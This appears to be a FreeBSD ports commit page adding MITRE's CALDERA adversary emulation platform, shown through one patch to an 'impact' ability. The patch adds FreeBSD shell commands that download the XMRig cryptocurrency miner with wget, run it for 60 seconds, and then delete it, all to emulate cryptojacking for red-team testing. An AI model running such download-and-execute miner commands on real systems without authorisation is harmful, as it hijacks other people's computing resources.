diff options
author | Jose Alonso Cardenas Marquez <acm@FreeBSD.org> | 2023-04-29 06:08:03 +0000 |
---|---|---|
committer | Jose Alonso Cardenas Marquez <acm@FreeBSD.org> | 2023-04-29 06:08:03 +0000 |
commit | 84e20fa24498f24ec36a846f4bb69cad07224937 (patch) | |
tree | 3d54a28c2f1328ff0c81ae14a5babd1c5e13e944 /security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml | |
parent | 5493ec9d4041b74ea9761c0972e3bfa5eb4abf77 (diff) | |
download | ports-84e20fa24498f24ec36a846f4bb69cad07224937.tar.gz ports-84e20fa24498f24ec36a846f4bb69cad07224937.zip |
security/caldera: New port: Automated Adversary Emulation Platform
CALDERA a cyber security platform designed to easily automate adversary
emulation, assist manual red-teams, and automate incident response.
It is built on the MITRE ATT&CK framework and is an active research project
at MITRE.
The framework consists of two components:
- The core system. This is the framework code, consisting of what is available
in this repository. Included is an asynchronous command-and-control (C2)
server with a REST API and a web interface.
- Plugins. These repositories expand the core framework capabilities and
providing additional functionality. Examples include agents, reporting,
collections of TTPs and more.
Diffstat (limited to 'security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml')
-rw-r--r-- | security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml | 22 |
1 files changed, 22 insertions, 0 deletions
diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml new file mode 100644 index 000000000000..e01052cff30e --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml @@ -0,0 +1,22 @@ +--- plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml +@@ -19,6 +19,19 @@ + cleanup: | + rm -rf ./xmrig*; + timeout: 120 ++ freebsd: ++ sh: ++ # FreeBSD should include `timeout` making this easy. ++ # We expect timeout to return a 124, which needs to then return a 0 ++ # to make Caldera UI happy. ++ command: | ++ wget https://github.com/xmrig/xmrig/releases/download/v6.19.2/xmrig-6.19.2-freebsd-static-x64.tar.gz; ++ tar -xf xmrig-6.19.2-freebsd-static-x64.tar.gz; ++ timeout 60 ./xmrig-6.19.2/xmrig; ++ [ $? -eq 124 ] ++ cleanup: | ++ rm -rf ./xmrig*; ++ timeout: 120 + darwin: + sh: + # MacOS does not include timeout, but can mimic the process with screen. |